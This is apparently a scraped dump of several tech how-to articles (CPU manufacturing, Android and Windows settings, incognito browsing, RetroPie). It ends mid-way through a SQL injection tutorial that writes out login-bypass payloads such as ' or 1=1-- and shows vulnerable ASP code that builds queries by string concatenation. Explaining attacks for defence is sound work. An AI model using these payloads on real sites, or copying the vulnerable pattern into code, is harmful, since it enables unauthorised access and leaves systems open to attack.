connections with other transistors.\n  Wafer electroplating technique The wafers are fed into copper sulfate solution at this stage. Copper ions are deposited into transistors through a process called electroplating. Copper ions travel from the anode (anode) to the cathode (cathode).\n  Arrange ion Copper ions will be arranged into a thin layer on the wafer surface.\n  Polish excess Polished excess materials leave a thin layer of copper.\n  Create class Many metal layers are created to connect between different transistors. Intel's architecture design and construction team determines how these connections are interconnected according to their respective processor functions (for example, Intel's Core i7 processor). Although computer chips look extremely flat, they can hold up to more than 20 layers to form complex circuits. If a room is large, you will see a complex network of wires and transistors that look like a multi-level highway system.\n  Check the wafer A small part of the finished wafer will be put into the first functional test. During this phase, the test sample will be included in each single chip and monitored, comparing the response from each chip.\n  Cutting wafer into die After the test determines that the wafer has good performance in processing devices, it will be cut into pieces called die.\n  Check the die The dies that respond properly to the control patterns will be moved to the next step (packaging), the bad dies will be removed.\n  Die This is a separate die that has been cut from the previous step (wafer cutting). Die in this image belongs to an Intel Core i7 processor.\n  Packed CPU The substrates, dies and heat exchangers are combined to form a complete processor. The green substrate creates the electrical and mechanical interface for the processor to interact with the rest of the computer system. Silver heat exchanger is a thermal interface, used for cooling solutions. This will make the processor cool during operation.\n5 ways to cool down, cool, laptop radiator simple and effective   A complete CPU Processors are the most complex manufactured products. In fact, it takes hundreds of steps and here comes only the most important steps.\nCPU test In this final test, the microprocessor will be tested for key characteristics (among the properties tested are the maximum power dissipation and frequency).\n  Classify CPU Based on the classification test results, processors with the same capacity will be included in the same shipping tray. This process, called binning, must be familiar to Tom's hardware readers. Binning determines the maximum operating capacity of a processor, divided by batch and sold according to stable specifications.\n  CPU distribution Processors are manufactured and tested or go to system manufacturers or to retail stores.\nYou can watch this video to get a better understanding of the CPU production process.\nSee more:\nLearn about how the CPU works How to choose laptop CPU that meets the needs (part 1) Which CPU is faster: old but 'quality' or 'popular' but new? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjKKqZqyYmnqkvNRmp6unlKqwprA%3D\n","link":"/post/how-is-the-cpu-produced/","section":"post","tags":null,"title":"How is the CPU produced?"},{"body":"Google Maps is not always accurate when determining your location, but there are adjustments you can make to your Android device to improve this functionality. Here's how to calibrate your compass on Android so your position is always accurate.\nNote : The instructions below are for users with Android smartphones or tablets only.\nHow to check location in Google Maps for Android Before calibrating the compass, first check to see if your position and direction are being accurately monitored by your Android device.\n1. Launch the Google Maps application on a smartphone or tablet.\n2. A map of the surrounding area will appear immediately, with a blue dot clearly indicating your exact location and direction.\n3. If the blue dot does not appear, click Your Location , indicated by a rectangle and located in the lower right corner of the screen just above the GO icon .\n4. Maps may decide you need to calibrate your compass. It will display a screen with instructions for moving the phone in an octave motion. Do so, then click Done.\nHow to calibrate Android GPS If the blue dot mentioned above does not indicate a specific location or if the beam attached to it is wide or pointed in the wrong direction, then you will want to calibrate the compass on your device by following the steps below. below.\n1. Return to the Google Maps application interface. If the beam attached to the blue dot is quite wide, this means that calibration may be necessary to refine the smartphone compass.\n2. Hold the device face up, then move it in figure 8 a few times.\n3. You can know the calibration is complete when the beam is narrower and is pointing in the correct direction.\nOther tips for improving Google Maps accuracy There are other ways you can improve the accuracy of your Android smartphone or tablet compass, such as connecting your device to a WiFi network or restarting it.\nYou should also make sure Google Maps is updated to the latest version.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRobajvsCtnGasmJp6pLvMqZisq12bvLN5wKebq6eZmQ%3D%3D\n","link":"/post/how-to-calibrate-the-compass-for-android/","section":"post","tags":null,"title":"How to calibrate the compass for Android"},{"body":"Windows 11 inherits many useful features from its predecessor Windows, giving users both familiar and new experiences. Which is the color filter screen\u0026nbsp; computer \u0026nbsp;Color filters, allowing users having problems with vision or color blindness can experience more fully. Here, I will show you\u0026nbsp; how to change the screen color of your Windows 11 computer \u0026nbsp;.\nHow to change the color of the Windows 11 computer screen Step 1: Press the Windows + I key combination to quickly open the Settings application.\n Step 2: Select Accessibility =\u0026gt; Color filter.\n Step 3: To turn on the Color filter feature, simply turn the switch to On. Here. Microsoft provides you with a number of filters such as color inversion, full screen graying, . and some other filters especially for color blind people.\n You can also press the Windows + Ctrl + C key combination to quickly turn on the Color filter. To enable this feature, turn on the switch in the Keyboard shortcut for color filter section to On.\n Have you tried this feature on your computer. If you have any other questions, please leave them in the comment section and don't forget to give me a like and share to support me in the next posts.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lk6S5sL6MqJ1mr5mjsbDD0mZoamWTpLqxwdOeqWark6eyprqMrKyirJGXuaZ5xaipZqyYmnqjuMinmw%3D%3D\n","link":"/post/how-to-change-the-color-of-windows-11-computer-screen-suitable-for-the-blind/","section":"post","tags":null,"title":"How to change the color of Windows 11 computer screen suitable for the blind"},{"body":"On iPhone / iPad there is set motion animation system with fast response speed, ensuring the best experience for users. In case you are not satisfied with the response speed of motion animation, or want to change it again, you can install Ermete tweak on jailbroken iOS device.\nThis tweak will take different options to change the motion of iOS system with different speeds, depending on the need to use. The following article will show you how to change the motion animation speed on iPhone.\nHow to customize notifications on iPhone How to adjust the system animation on iPhone How to change iPhone wallpaper automatically when rotating the screen How to adjust iPhone motion animation speed Step 1:\nUsers who open Cydia and then download the Ermete tweak are now available and completely free in the BigBoss repository. Tweaking will work with jailbroken iOS 11 devices.\n http://apt.thebigboss.org/onepackage.php?bundleid=com.cydiageek.ermete      Step 2:\nGo to Settings on the device and then select the Ermete tweak to customize the animation response speed. Here you will find different options for speeding up motion response of system motion animations.\nLittle slow animations: Moderately slow effect. Slow animations: Medium slow effects. Very slow animations: Very slow effect. Fast animations: Quick effects. Very fast animations: Very fast effect. Select the type of motion animation feedback and then push the horizontal bar to the right.\n   Step 3:\nScroll down and click Restart SpringBoard to apply the changes above. Display the confirmation interface, press Ok to agree.\n   Through Ermete tweaking on iPhone, we can change the speed of motion animation response on iPhone system. There will not be much customization for the system, but you will only choose the type of speed you want to use for the device.\nSee more:\nCreate space on the Home iPhone screen without jailbreak Instructions to transfer iPhone screen to gray to save battery How to hide iPhone lock screen content I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lo6WyprCMqJ1mpZ%2BptrC6jJqloqWRqbawuoyopWahoJ28r7E%3D\n","link":"/post/how-to-change-the-speed-of-motion-animation-on-iphone/","section":"post","tags":null,"title":"How to change the speed of motion animation on iPhone"},{"body":"Now let's learn with Tipsmake how to create Slide to Shutdown function on Windows 10. \u0026nbsp;\n  Method 1: Download Shortcut Before trying to create the Slide to Shutdown function on your computer, you can simply download the shortcut that Thuthuatphanmem.vn has created. From here you will easily use the Slide to Shutdown feature without having to create the shortcut yourself.\nStep 1: Click on the SlidetoShutdown.zip file below to download the shortcut for the Slide to Shutdown function.\nStep 2: Proceed to extract the .zip file. If you use the Winrar extractor, open the file in the usual way (the file will appear at the bottom of the browser).\n  Step 3: Right-click on the file SlidetoShutDown.exe \u0026gt;\u0026gt; select Extract to a specified folder.\n  Step 4: Select Desktop under This PC \u0026gt;\u0026gt; Ok.\n  Step 5: The Slide to Shutdown shortcut will appear on your screen, just click on it and the Slide to Shutdown function will be activated.\n  You can right-click it and choose Pin to taskbar (taskbar) or Pin to Start (Start menu), depending on where you want the shortcut to appear.\n  Method 2: Create Slide to Shutdown function on Windows 10 Step 1: Right-click anywhere on the computer screen, select New \u0026gt;\u0026gt; Shortcut.\n  Step 2: You highlight the line below and press Ctrl + C to Copy it. Then Paste (Ctrl + V) into the Type the location of the item box.\n  Step 3: Click Next to continue.\nStep 4: Name the shortcut the way you want, or leave it as default. Click Finish to complete it.\n  Step 5: When the shortcut appears on the main screen, you can already use the Slide to Shutdown feature right away.\nBut to make this shortcut a little more eye-catching, right-click it and choose Properties.\n  Step 6: Select Change Icon… in the pop-up window.\n  Step 7: Click OK when there is a notification.\n  Step 8: Click the icon with the red shortcut button, or any other icon you like. Then click OK to save.\n  Now the SlidetoShutdown button is ready to use. You can also right-click to Pin to Taskbar or Pin to Start, depending on where you want it to appear.\nAnd that's how to create Slide to Shutdown function on Windows 10, good luck!\nslide to shutdown ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyso6KclWLBsHnSoaytnJ%2Bsu26y1KearaGfo3qwuoywoKecn6zAbn2P\n","link":"/post/how-to-create-slide-to-shutdown-function-on-windows-10/","section":"post","tags":null,"title":"How to create Slide to Shutdown function on Windows 10"},{"body":"When making Excel file customer information, staff or product file will always accompany the image beside. Instead of manually executing, you can insert image files in bulk into Excel and can also delete batches of photos quickly. For long data tables, if you want to delete all inserted images and leave only data, you can refer to the following article of Network Administrator. The entire image is quickly deleted after taking a few simple steps, instead of sitting manually deleting each photo.\nInstructions for inserting an image into an Excel spreadsheet How to insert a Word document into an Excel file How to insert page numbers in Excel Inserting letters, logos sink into Microsoft Excel 2013 Method 1: Delete multiple photos in Excel with Go To Special Step 1:\nThe user opens the Excel file to delete the image and then press F5 to open the Go To dialog box. In this dialog box, click on the Special button .\n  Step 2:\nDisplay the Go To Special interface, select the Objects content below and click OK to continue.\n  Step 3:\nThen the whole image is framed as below and we just need to press the Delete button to delete the image and finish.\n  Method 2: Delete bulk photos on Exce with VBA Macros Step 1:\nWe click on the Developer tab on the Ribbon and then click on Visual Basic . Or, press Alt + F11 to quickly open VBA.\n  Step 2:\nDisplay Microsoft Visual Basic interface for Applications, click the Insert menu above and then select the module .\n  In this interface, enter the code below into the code input interface.\nSub DeleteAllPics() Dim Pic As Object For Each Pic In ActiveSheet.Pictures Pic.Delete Next Pic End Sub    Step 3:\nAfter entering the code into Module1 (Code) interface, we click on the Run button to execute the command for Excel.\n  When finished running, turn off the Visual interface and get all deleted photos in Excel file.\n  2 ways to delete photos in bulk in Excel file above are simple and fast. However, with the way 2 needs to use the code, you can use the way to Go to Special to delete the Excel image.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYypn6isn6h6qrqMm6ylo12eu26x15ycpQ%3D%3D\n","link":"/post/how-to-delete-photos-in-bulk-in-excel/","section":"post","tags":null,"title":"How to delete photos in bulk in Excel"},{"body":"By default on Android devices, when we search for any video, application, game, . on Play Store will be saved search history. This will make it easier for users to search for applications later, or later search results will be based on previous search history.\nHowever, the default feature that saves the search history on the Play Store sometimes causes users trouble. For example, you switch to a new phone and do not want to save any information you used before. Or simply want to delete search results to protect personal information only. So how can I delete the entire search history on Play Store?\nStep 1: First of all, you access the Play Store on the device. At the main interface, we click on the 3 dashes icon as shown below.\n   Step 2: The user account dialog box appears with different options. Here you scroll down and select Settings (Settings). Next in the Settings interface, go to and click on Delete local search history (Clear local search history).\n   Step 3: To make sure that the search history on Play Store has been completely erased even on other devices or computers, readers can access the link below:\nhttps://myactivity.google.com/ At the main interface, we click on Login .\n  Step 4: After that, we log into the Google account we use to search for results on Google Store.\n  Step 5: At this interface, click on Delete activity by .\n  Then, in the interface Delete by topic or product , in Delete by Date we will select the All time item. Below will select All Products . Then, press Delete to delete.\n  In addition, we can also delete all the search history on Google according to many other applications such as Youtube, maps, . following the instructions for instructions to permanently delete Google history.\nAbove is a very simple trick when you want to delete all the search results on Google Play Store, such as deleting games, applications, videos, movies, . Also, users should delete all search activities with your account on Google to avoid leakage of personal information.\nRefer to the following articles: Instructions for deleting Google accounts permanently Decode all errors that appear on Google Play and how to fix them (Part 2) What to do when mobile data does not work on the Andrdoid device? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYysnJqqk516qbXSraarsV2ku26zzqiepZ1dpbmixYysq6iqlQ%3D%3D\n","link":"/post/how-to-delete-search-history-on-google-play-store/","section":"post","tags":null,"title":"How to delete search history on Google Play Store"},{"body":"With a growing sense of personal data and how companies collect these data for sale to third parties, it is not uncommon for people to be interested in ways to keep their online activity should be more private. One of these ways is to use privacy mode when online.\nOne of the methods of privacy protection when surfing the web, is to use incognito mode in browsers. When users surf the web in incognito mode, all history of browsing, browsing, searching for information, cookies, personal data will not be saved. This is necessary when we use the same computer.\nIf you regularly use incognito mode when browsing the web, users can set the browser to always open in incognito mode without pressing the start-up key combination. However, when using this mode, the login accounts on the website will not be saved, and we must log in the next time.\nIncognito mode on browsers 1. Always browse incognito mode on Google Chrome 2. Default Firefox anonymous browsing 3. Browse the web anonymously on Apple Safari 4. Open incognito mode on Internet Explorer 5. Activate private browsing mode on Opera 6. How to open Microsoft Edge private browsing mode on PC (InPrivate mode) 7. How to turn on the browser in private mode in Vivaldi What is private browsing mode? How to turn off private browsing mode Use private browsers to search the Internet Large Internet browsers have several types of private browsing tools built into it. However, they are accessed in different ways. There are also some differences between private browsing on the desktop and the mobile version of each browser.\nHere's how to switch each major Internet browser into private mode using the built-in tools.\n1. Always browse incognito mode on Google Chrome To set up web browsing in incognito mode on Google Chrome, users will proceed to add commands to the shortcut used to open the browser.\nStep 1:\nAt the screen, we right-click the Chrome browser shortcut and select Properties .\n  In case you choose a shortcut from the Taskbar, right-click the Google Chrome icon on the Taskbar, then right-click on Google Chrome in the menu and select Properties.\nIf you choose from the Start Menu on Windows 10, right-click the Google Chrome icon\u0026gt; More\u0026gt; Open file location and right-click on Google Chrome in the Programs window and then select Properties.\nStep 2:\nA Properties dialog box appears, where we will add '-incognito' to the end of the Target box as shown below. Then click OK and grant administrative rights if available to complete the change.\n  Thus, when you open Chrome browser, the incognito mode will be started. In case you want to access the browser in normal mode, just delete the '-incognito' section in the Target field added earlier.\nHow to access incognito mode in Chrome on mobile devices\nOn the mobile version of Chrome, users can access incognito mode through the drop-down menu to the right of the URL bar. Here, select the new incognito tab and a new tab in private browsing mode will open.\n  2. Default Firefox anonymous browsing On Firefox, there is an option for users to set up web access in incognito mode, without having to make changes like on Google Chrome.\nStep 1:\nFirst start Firefox. At the main interface, press the 3 dashes icon and click Options (Options).\n  Step 2:\nSwitch to the new interface, here click the Privacy tab . Look at the content on the right and choose the Firefox entry (Firefox will). Here the user will switch the default setting to Never remember history (Never remember history).\nSoon the browser will ask the user to restart for changes to take effect.\n  As such, Firefox will use the same settings as when using private browsing mode, while the interface is exactly the same as the normal web browser interface.\nTo turn off this option, do the same as above, but select History remember (Remember history).\nHow to enable private browsing in Firefox on mobile devices\nOn the mobile version of Firefox, users can access private browsing mode via the drop-down menu in the top right corner of the application. Select the menu and then click New private tab to open the private browsing window.\n  3. Browse the web anonymously on Apple Safari The Safari browser also has a built-in option to always start in incognito mode like on Firefox.\nStep 1:\nFirst, click Safari and select Preferences .\n  Step 2:\nSwitch to the new interface, click on the General tab. In the Safari opens with section to set A new private window in the drop-down menu list.\nTo turn off this feature, we switch back to the previous A new window setting.\n  How to open private browsing in Safari on iOS\nAs with other browsers, accessing private browsing mode in Safari on mobile devices will be different than on the desktop version. On iOS apps, open Safari and select the tab icon, which appears as two overlapping squares.\n   Then, select the Private menu at the bottom left of the application, where you can open a new tab with the + icon.\n4. Open incognito mode on Internet Explorer With Internet Explorer, we also need to activate the command in the browser settings.\nStep 1:\nFirst we also click on the Internet Explorer icon on the computer and select Properties .\n  Step 2:\nThe Properties dialog box appears, here the Target section we will add '-private' at the end of the line. Finally click OK to save the setting.\nTo return to normal browsing mode, simply delete the \"-private\" section previously added in the Target section\n  Above is how to set up anonymous access mode on Chrome, Firefox, Safari and Internet Explorer browsers. With Microsoft Edge browser you can use the feature to automatically delete browsing history when exiting the browser that the Network Administrator has ever instructed you to read.\n5. Activate private browsing mode on Opera   Activating private browsing in Opera on the desktop version of the browser is the same as on Chrome. Users just need to use the shortcut Ctrl + Shift + N. This will open a new private browser window.\nUsers can also click the Opera icon in the upper left of the screen to open the drop-down menu and select New private window to turn on private mode in the browser.\n  How to enable private browsing in Opera on mobile devices\nOn mobile, this process is a bit different. In Opera mobile browser, select the tab icon (square with the number inside) in the bottom left of the application.\nThis will open the Speed ​​Dial window , where users can see all their tabs. At the top of the application, users can see two types of tabs: normal and private. Click Private or swipe to the right window to enter private browsing mode on the app.\n    Then select the + sign icon to open a new private tab. These new tabs will be opened in private browsing mode. All private tabs can be viewed in the Speed ​​Dial menu .\n6. How to open Microsoft Edge private browsing mode on PC (InPrivate mode) Private browsing mode is named by Microsoft Microsoft InPrivate. Users can access the mode easily on the desktop browser with the keyboard shortcut Ctrl + Shift + P.\nAnother way to open the InPrivate window is to go to the top right drop-down menu and select the new InPrivate window. This will open a private browsing session in Edge.\n  Edge has a highlighted area before the tabs to indicate that the user is in private browsing mode. The highlighted area is in blue, with the words 'InPrivate'. If you are unsure whether or not you have opened a private browsing window, just check this area:\n  Activate private browsing mode in Microsoft Edge on mobile devices\nMicrosoft Edge mobile application works slightly differently than the desktop version. In fact, there are two ways to access the InPrivate mode on the Edge mobile application.\nThe first way is to select the menu button at the bottom right of the application and select New InPrivate tab. This will open a new private browsing tab in the app.\nThe other way is to select the tab icon to access the Tabs menu . Here, users can select the InPrivate menu at the top of the application to open InPrivate mode. Different InPrivate tabs will be stored here until users close them.\n   7. How to turn on the browser in private mode in Vivaldi   Users can open a private window in Vivaldi browser with the same shortcut as Chrome and Opera. To open a new private window, just use the keyboard shortcut Ctrl + Shift + N.\nUsers can also open a private window by clicking on the Vivaldi icon in the upper left of the browser window to open the drop-down menu. After that, just go to File\u0026gt; New Private Window to open the private browsing window.\n  What is private browsing mode? Private browsing mode refers to a browsing session whose history, cookies and web cache are not stored. Other data, such as passwords and auto-fill data, are not saved in private browsing mode.\nUsers can enable private browsing mode with their Internet browser built-in tools, such as Chrome's Incognito mode. But it is also possible to use a browser specifically for private browsing instead of a regular browser to prevent history from being stored.\nIt is important to understand that private browsing is not the same as using VPN. Private browsing prevents local files from being stored in the browser at a session, such as cookies and browsing history.\nHowever, private browsing does not 'disguise' IP addresses. It also does not hide user activity for Internet providers or network administrators at work. It also does not prevent other traces of Internet usage, such as files downloaded to the hard drive or stored.\nPrivate browsing is exclusively for browser applications and cannot control the trail of your activity stored outside of the application. It is very important to understand this difference.\nHow to turn off private browsing mode Because private browsing is not the default setting in these browsers, it is very simple to get rid of it. Just close the private browsing window and any new windows that open later will be in normal mode.\nSome mobile applications allow users to close all private browsing tabs in the notification window on the smartphone.\n  In mobile applications like Firefox and Opera, just swipe back to normal mode in the tab window to exit the private browser.\nUse private browsers to search the Internet In addition to using integrated browser tools for private browsing, there are also standalone browsers and applications with separate browsing features by default.\nThe DuckDuckGo Privacy Browser mobile app, part of the DuckDuckGo privacy suite, is an example. It does not store browsing data or allows advertisers to track user browser sessions. It even has a 'fire' button that will delete all tabs and sessions with just one touch.\nThere are also a variety of privacy-focused desktop browsers like Tor Browser and Epic Browser. However, these browsers not only have simple private browsing modes but also help users anonymously. Always make sure to check exactly which browsers protect what information and what data they store.\nYou now know how to turn on private mode in different Internet browsers.\nHope you are succesful.\nSee more:\nHow to protect your privacy when browsing the web on mobile? 4 web browsers pay great attention to security How to find open web pages in incognito mode ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuwMeeZJuqn6zApr6MmqOwmamoerTAwKurZqGeYravr86gpaKsn2K6sLDE\n","link":"/post/how-to-make-the-browser-always-start-in-incognito-mode/","section":"post","tags":null,"title":"How to make the browser always start in incognito mode"},{"body":"Windows 10 is equipped with many new features compared to previous versions of Windows and comes with new features that the interface of Windows 10 is quite \"confused\" with many applications, icons on the Taskbar, Start menu. In the article below, TipsMake.com guides you on how to personalize Windows 10 or to help you bring a newer and more appropriate interface to your needs.\n  Here are some tips to personalize Windows 10 that TipsMake.com often uses, please read along.\nBy default, the Start menu installs a lot of applications that make our Start menu more confusing. To help reduce the confusion, we proceed to collapse the Start menu as follows:\nStep 1: Right-click each application in the Start menu and click Unpin from Start. Note: you must Unpin the entire application before we can collapse the Start menu .\n  Step 2: After unpinning all applications, this step drag the horizontal, vertical Start menu inside. You move the mouse cursor to the edge of the application and we will see a two-way arrow appear, drag the mouse pointer inside and you're done.\n  After following the instructions above, we will have Start menu that looks a lot cleaner than before.\n  2. Change wallpaper Changing the default wallpaper on Windows 10 helps us work on computers without being bored by the monotonous Windows wallpaper and can help us improve performance by using positive wallpapers. Or nature wallpaper makes us feel comfortable. Proceed as follows:\nStep 1: Right-click Desktop =\u0026gt; Personalize .\n  Step 2: In the Background section, we will set the wallpaper as a Slide show (1) so that the wallpaper automatically changes over time. Then click Browse (2)  to open the wallpaper folder.\n  Step 3: Select the folder containing the wallpaper and click Choose this folder .\n  Step 4: You scroll down and set the time the wallpaper changes in Change picture every (1)  and select the wallpaper rate Choose a fit (2) .\n  3. Show or hide icons on the home screen By default, when installing Windows 10, this PC icon is hidden and only has the Recycle Bin icon on the screen. To show / hide icons like This PC, Recycle Bin . on Windows 10 desktop, do the following:\nStep 1: Right-click on the Desktop and select Personalize .\n  Step 2: Choose Themes =\u0026gt; Desktop icon settings .\n  Step 3: You tick the Desktop icon you want to hide or show. Then click Apply and OK to save.\n  4. Change the color, light / dark interface for Windows Starting with Windows 10 version 1809, the Dark mode is complete and we can customize our Windows 10 to \"light\" or \"dark\" as you like.\nStep 1: Right-click Desktop =\u0026gt; Personalize .\n  Step 2 : Choose Color (1) to change the color settings for Windows. Item Choose your color you should Custom (2) to customize the light and dark interface in your own way.\nSection Choose your default Windows mode (3) will apply light or dark interface to the Start menu, Task bar.\nFor section Choose your default app mode (4) will apply the dark interface for applications, File Explorer, Settings in Windows.\nYou choose the dark, light interface on your own or select both Dark and Light at the same time or 1 Dark option and 1 Light option according to your preferences.\n  Step 3: Scroll down to change the colors for some Windows icons in Choose your accent color . Choose your preferred color from Recent colors and Windows Colors .\nTo check out the new color theme, scroll up to the top to see the color interface of the icons when setting colors here.\n  5. Change the Windows lock screen wallpaper Step 1: Right-click on the Desktop and select Personalize .\n  Step 2: Go to Lock screen  (1) and change Background to Windows spotlight (2) . The Windows spotlight option gives us a lot of nice locking wallpapers and is accompanied by some accompanying ad text.\n  6. Add frequently used folders and files to Quick Access Quick Access is a nice feature that allows us to quickly access frequently used folders and files. To add a file or a folder to Quick Access , right-click the folder or file and select Pin to Quick access . To access the Quick Access folder, open This PC or File Explorer =\u0026gt; select the Quick Access item in the left corner of the folder.\n  With tips to personalize Windows 10 in the article, TipsMake.com hopes to bring readers a new Windows experience and less boring than the default option. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiVp8CwusCloLOdXay2r7DOsKpmaWBirrR52KisZqSZoLI%3D\n","link":"/post/how-to-personalize-windows-10-as-you-like/","section":"post","tags":null,"title":"How to personalize Windows 10 as you like"},{"body":"For the childhood of many of us Nitendo's gaming devices like SNES or NES Classic are too expensive dreams.Now, when we are fully financially capable, these devices are too old and very difficult to get good ones.But having a ready friend can easily help us relive the beautiful emotions of that childhood - Raspberry Pi.\nWe can absolutely play every NES, SNES, Master System and TurboGrafx game ever released with Raspberry Pi.These hand-crafted classic gaming machines are really lovely and you can completely own one for yourself.\nThe following article hopes to help you \"manipulate\" the classic game simulation system from your own Raspberry Pi.\nNecessary tools   \nA Raspberry Pi : Raspberry Pi 2-B or Raspberry Pi 3-B . all.The biggest difference between the two is that only 3-B has Wi-Fi integration and 2-B does not. A Micro SD card : For me a SanDisk 32GB memory card is enough.Pay attention to avoid using fake and fake cards. A power supply for your Raspberry Pi via micro USB port.You can add a power button to turn it on and off more easily. HDMI cable to connect to your TV or monitor. USB keyboard for use during installation. USB game controller: Actually, it is not required, but having the right controller gives you more real feelings when playing.Buffalo Classic is highly appreciated for bringing true feeling to users, you can try if you have no choice for yourself. A set of cases to put Raspberry Pi : We can get an old NES shell as a case to look more 'vintage'.But if you want to save money you can use simple materials and cheaper prices.It is possible to find a classic style case on Amazon, such as the NESPi Retroflag case for only $ 25 but with both the power button and USB port.If you like the design of SuperNES, you can buy a Kintaro SNES case for just $ 15.Generally it depends on your preference.   Install images to SD card On computer Visit https://retropie.org.uk/download/ and download the image file of \"Raspberry Pi 2/3\".Be sure to remember where you saved it!   Visit https://etcher.io/ and download the appropriate version for your system, then proceed with the installation.Etcher is quite standard because it gives a simple interface and good compatibility with Windows, Mac and Linux.   Open Etcher and click Select image .   Scroll to where you saved the image file of RetroPie and select it.   Next click Select drive . Choose your SD card, make sure you choose the correct drive letter.You will definitely not want to write your operating system drive with the image file of Retropie!Then click continue.    Click the flash button .    \nIt will take a few minutes to process the device, after the process is complete, the SD card is ready to save the game!\nOn Raspberry Pi: SD is ready to save your game Insert a new micro SD card flashed into your Raspberry Pi. Network connection for Raspberry Pi. Plug in your HDMI cable connecting your Raspberry Pi to the TV or monitor. Plug the USB controller into the Raspberry Pi. Finally, supply power to the Raspberry Pi so that it starts up.(Click on image to see more)      Follow the on-screen instructions to configure your USB controller.    On Raspberry Pi: Set up Wi-Fi connection If you do not want to connect to the internet via a cable, it is now time to set up WiFi for Raspberry Pi.You will need a USB keyboard to enter the password, so plug in the keyboard prepared into your Raspberry Pi.\nScroll to the Retro Pie configuration page. Scroll down to the bottom and select the Wi-Fi option.    Next select Connect to Wi-Fi Network and select the network you want to connect.    \nYou will then be prompted to enter your Wi-Fi password.This is when you will need that keyboard.   After you have successfully connected to the Wi-Fi network, remember to record your IP address.   More games Your new Raspberry Pi / RetroPie system comes with all the emulators you need to install.The emulator uses things called ROMs to boot and play games.So you will have to load up your system all the ROMs you want to play.Now I can't tell you exactly where to download the ROM, but if you only need a little Google search skills, there won't be any big problems.\nThere are several different methods to transfer ROMs to your system.The most commonly used method is to use RetroPie Manager (RetroPie Manager).It allows you to move the ROM directly from the computer you downloaded the ROM to Raspberry Pi with your computer's browser.\nOn Raspberry Pi: Turn on RetroPie Manager Scroll to the settings menu on the Raspberry Pi and select Retropie Setup.   \nSelect Manage Packages   Select the Manage experimental packages , close the end of the package and select Retropie manager.    Select Install from source .   Now your system will run a script that automatically downloads and installs the Retropie manager for you.Click on the image and enlarge the image to see more clearly.   Once completed, select Configuration / Options.   Select Enable Retropie-Manager on Boot .   Finally, restart the system.   Go back to your computer to move the ROMs The computer you will use should contain the full ROM you need and need to be connected to the same network as the Raspberry Pi.Open any internet browser, In the address bar, enter the IP address of the Raspberry Pi that you noted earlier and enter \": 8000\" at the end of the IP address.The IP address will now look like this: 192.168.X.XXX:8000.You will then be taken to the RetroPie Manager page.This page has a lot of interesting and useful data, but now, all you need to do is .\n  Click Manage Rom files for emulated systems. Here you will find all the simulation systems on your Raspberry Pi.Select the system you want to add ROM by clicking on it.   Now, drag and drop your ROMs into this window:   After you've downloaded the entire ROM onto the system, restart the Raspberry Pi and start the battle.   See more:\n7 great ideas using Raspberry Pi as a server How to install Minecraft on Raspberry Pi Create your own wireless printer with Raspberry Pi How to set up Raspberry Pi touch screen ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ss6rpGaqkai9o7HRq7BmqJlitq%2FAzmaqp52jYrCtrdKsoJw%3D\n","link":"/post/how-to-transform-raspberry-pi-into-snes-classic/","section":"post","tags":null,"title":"How to transform Raspberry Pi into SNES Classic"},{"body":"SQL Injection is no longer a new concept, but it is still one of the most common types of network attacks. This article consists of 12 entries, going from the concept, steps of taking SQL Injection with an illustrative example (the website used as an example is only an illustration, not real) to how to prevent SQL Injection attacks to Readers understand this way of attack, thereby taking measures to prevent and protect their website and system.\nNote: Do not try to attack websites, systems of other individuals and organizations by this method, all such acts are in violation of Vietnamese law. If you find a security vulnerability, tell the website administrator, that system to fix it. The article is only intended to help you understand the type of attack and take precautions for your web application.\nLearn about SQL Injection 1. What is SQL Injection? Post labs SQL Injection 2. Steps to conduct SQL Injection 2.1. Search for goals 2.2. Check the site's weaknesses 2.3. Why 'or 1 = 1-- can pass the login check? 2.4. Execute remote commands with SQL Injection 2.5. Get output of SQL query 2.6. Get data via 'database using ODBC error message' 2.7. Specify the names of the columns in the table 2.8. Collect important data 2.9. Get numeric string 2.10. Change data (Update / Insert) of the database  3. Prevent SQL Injection Prevent SQL Injection in ASP.NET  4. Reference materials 1. What is SQL Injection? SQL Injection is one of the types of web hacking by injecting SQL query / command codes into input before transferring to the web application, you can login without a username and password, remote execution (remote execution), dump data and retrieve the root of SQL server. The attack tool is any web browser, such as Internet Explorer, Netscape, Lynx, .\nPost labs SQL Injection You can visualize the entire attack process with SQL Injection through a simple SQL injection lab below. The lab article will give an example of an application with a vulnerability to using SQL Injection, you just need to follow the steps in the tutorial to perform this type of attack.\nAfter doing labs, you have the basic visualization of SQL Injection, but if you want to understand more and more details, please read the next specific analysis offline.\n2. Steps to conduct SQL Injection 2.1. Search for goals You can find websites that allow data submission in any web search engine, such as login, search, feedback, . pages.\nFor example :\n http://yoursite.com/index.asp?id=10  Some web pages pass parameters through hidden fields, to see the HTML code clearly. For example, below.\n \n \n 2.2. Check the site's weaknesses Try submitting the username, password or field id, . by hi 'or 1 = 1--\n Login: hi' or 1=1-- Password: hi' or 1=1-- http://yoursite.com/index.asp?id=hi' or 1=1--  If the site passes the parameter through the hidden field, download the HTML source, save it on the hard disk, and change the URL accordingly. For example:\n \n \n If successful, you can login without knowing the username and password\n2.3. Why 'or 1 = 1-- can pass the login check? Suppose there is an ASP page linking to another ASP page with the following URL:\n http://yoursite.com/index.asp?category=food  In the above URL, the variable ' category ' is set to ' food '. The ASP code of this page may look like this (this is just an example):\n v_cat = request(\"category\") sqlstr=\"SELECT * FROM product WHERE PCategory='\" \u0026amp; v_cat \u0026amp; \"'\" set rs=conn.execute(sqlstr)  v_cat will contain the value of the request variable (\"category\") as ' food ' and the next SQL statement will be:\n SELECT * FROM product WHERE PCategory='food'  The query line will return a resultset set containing one or more lines matching the WHERE PCategory = 'food' condition.\nIf changing the URL on http://yoursite.com/index.asp?category=food 'or 1 = 1--, the variable v_cat will contain the value \"food' or 1 = 1--\" and the SQL query command line will:\n SELECT * FROM product WHERE PCategory='food' or 1=1--'  The 